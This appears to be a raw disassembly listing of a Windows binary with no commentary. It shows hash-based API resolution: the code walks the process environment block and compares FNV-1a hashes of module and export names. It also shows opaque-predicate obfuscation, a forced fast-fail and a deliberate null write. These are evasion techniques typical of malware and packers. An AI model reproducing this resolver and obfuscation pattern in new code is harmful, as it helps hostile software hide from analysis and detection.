movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14012620f
cmp edx, esi
je 0x14012622e
test ebx, ebx
jne 0x1401261fb
jmp 0x14012628d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401262a5
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401262a5
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012626e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140126260
jmp 0x140126281
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140126276
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401262a2
cmp qword [rax + 0x30], r12
jne 0x140126180
mov rdx, r12
mov qword [0x1417184d0], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x14012640e
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012632a
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012631d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012630e
cmp edx, edi
jne 0x1401263ef
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401263ef
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401263ef
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14012637c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140126371
cmp edx, esi
je 0x140126390
test ebx, ebx
jne 0x14012635d
jmp 0x1401263ef
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140126407
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140126407
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401263d0
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401263c2
jmp 0x1401263e3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x1401263d8
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140126404
cmp qword [rax + 0x30], r12
jne 0x1401262e2
mov rbx, r12
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x140126576
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140126492
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140126485
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140126476
cmp edx, edi
jne 0x140126557
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140126557
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140126557
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401264e4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401264d9
cmp edx, esi
je 0x1401264f8
test ebx, ebx
jne 0x1401264c5
jmp 0x140126557
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012656f
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012656f
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140126538
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012652a
jmp 0x14012654b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140126540
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x14012656c
cmp qword [rax + 0x30], r12
jne 0x14012644a
mov rdx, r12
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x1401266d5
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401265f1
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401265e4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401265d5
cmp edx, edi
jne 0x1401266b6
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401266b6
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401266b6
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140126643
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140126638
cmp edx, esi
je 0x140126657
test ebx, ebx
jne 0x140126624
jmp 0x1401266b6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401266ce
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401266ce
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140126697
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140126689
jmp 0x1401266aa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14012669f
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401266cb
cmp qword [rax + 0x30], r12
jne 0x1401265a9
mov rdx, r12
mov qword [0x1417185f8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f0]
test rdx, rdx
jne 0x140126834
mov edi, r12d
mov esi, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140126750
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140126743
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140126734
cmp edx, edi
jne 0x140126815
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140126815
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140126815
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401267a2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140126797
cmp edx, esi
je 0x1401267b6
test ebx, ebx
jne 0x140126783
jmp 0x140126815
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14012682d
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14012682d
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1401267f6
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401267e8
jmp 0x140126809
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x1401267fe
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x14012682a
cmp qword [rax + 0x30], r12
jne 0x140126708
mov rdx, r12
mov qword [0x1417185f0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1417185e8], r12
jne 0x140126992
mov edi, r12d
mov esi, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r9, r14
movups xmm0, xmmword [r9 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401268ac
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012689f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140126890
cmp edx, edi
jne 0x140126973
mov r10, qword [r9 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140126973
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140126973
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401268fe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401268f3
cmp edx, esi
je 0x140126912
test ebx, ebx
jne 0x1401268df
jmp 0x140126973
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14012698b
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14012698b
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140126952
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
cmp al, 0x2e
jne 0x140126944
jmp 0x140126966
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r13
mov al, byte [r9]
test al, al
jne 0x14012695b
mov r9, qword [r14]
mov rax, qword [r9]
mov r9, rax
cmp rax, r14
je 0x140126988
cmp qword [rax + 0x30], r12
jne 0x140126864
mov r9, r12
mov qword [0x1417185e8], r9
xor ecx, ecx
int 0x29
mov r9d, r12d
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
imul esi, edx, 7
call fcn.140167c84
movsx ecx, al
add esi, ecx
call fcn.140167c74
movsx edx, al
call fcn.140167c78
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*8]
call fcn.140167c84
movsx ecx, al
add ebx, ecx
call fcn.140167c74
movsx r11d, al
call fcn.140167c78
movsx ecx, al
imul r11d, ecx
call fcn.140167c84
movsx edi, al
mov r10d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126aa7
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140126aa7
mov r10d, r13d
jmp 0x140126afe
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126afe
lea ecx, [r11 + rdi]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea ecx, [rcx + r11*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140126b2d
mov rax, r13
mov qword [rsp + 0x20], rax
mov rcx, r13
mov qword [rsp + rcx*8 + 0x20], rax
mov rax, qword [rsp + 0x20]
add rax, r13
mov rcx, rax
mov qword [rsp + 0x20], rax
jne 0x140126b0e
add r9d, r13d
jmp 0x1401269fb
mov qword [0], 0x99
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
call fcn.140167c84
movsx ecx, al
lea ebx, [rcx + rdx*8]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140127885
call fcn.14011ca84
xor al, r13b
movzx eax, al
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126c39
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140126c39
mov r9d, r13d
jmp 0x140126cd3
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126cce
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r9d, xmm0
jmp 0x140126cd3
mov r9d, dword [rsp + 0x20]
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r10d, [rdx + rdx*2]
call fcn.140167c84
movsx ecx, al
add r10d, ecx
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140127885
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126e9e
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x141716b05]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126dfa
call fcn.140167c7c
movsx edx, al
movsx eax, byte [0x141716b78]
imul edx, eax
add edx, edx
call fcn.140167c88
movsx ecx, al
sub edx, ecx
call fcn.140167c80
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x140126dfa
mov r9d, r13d
jmp 0x140126e73
call fcn.140167c78
movsx edx, al
call fcn.140167c74
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*8]
call fcn.140167c84
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140126e6e
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si r9d, xmm0
jmp 0x140126e73
mov r9d, dword [rsp + 0x20]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r10d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x140126e9e
call fcn.140167c8c
mov rdx, qword [0x1417184d0]
test rdx, rdx
jne 0x140126ff9
mov edi, r12d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140126f15
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140126f08
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140126ef9
cmp edx, edi
jne 0x140126fda
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140126fda
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140126fda
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r8d, dword [rdx + r15]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140126f67
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140126f5c
cmp edx, esi
je 0x140126f7b
test ebx, ebx
jne 0x140126f48
jmp 0x140126fda
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140126ff2
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140126ff2
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140126fbb
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140126fad
jmp 0x140126fce
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x140126fc3
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140126fef
cmp qword [rax + 0x30], r12
jne 0x140126ecd
mov rdx, r12
mov qword [0x1417184d0], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x141718608]
test rbx, rbx
jne 0x14012715b
mov edi, r12d
mov esi, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140127077
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012706a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012705b
cmp edx, edi
jne 0x14012713c
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14012713c
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012713c
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401270c9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x1401270be
cmp edx, esi
je 0x1401270dd
test ebx, ebx
jne 0x1401270aa
jmp 0x14012713c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x140127154
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140127154
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14012711d
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14012710f
jmp 0x140127130
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x140127125
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x140127151
cmp qword [rax + 0x30], r12
jne 0x14012702f
mov rbx, r12
mov qword [0x141718608], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x141718600]
test rdx, rdx
jne 0x1401272c3
mov edi, r12d
mov esi, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1401271df
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401271d2
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401271c3
cmp edx, edi
jne 0x1401272a4
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401272a4
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x1401272a4
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140127231
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x140127226
cmp edx, esi
je 0x140127245
test ebx, ebx
jne 0x140127212
jmp 0x1401272a4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401272bc
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401272bc
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140127285
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140127277
jmp 0x140127298
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14012728d
mov r11, qword [r14]
mov rax, qword [r11]
mov r11, rax
cmp rax, r14
je 0x1401272b9
cmp qword [rax + 0x30], r12
jne 0x140127197
mov rdx, r12
mov qword [0x141718600], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1417185f8]
test rdx, rdx
jne 0x140127422
mov edi, r12d
mov esi, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov r11, r14
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14012733e
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140127331
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140127322
cmp edx, edi
jne 0x140127403
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140127403
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140127403
mov r15d, dword [r10 + 0x20]
dec ebx
lea rdx, [r15 + rbx*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140127390
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
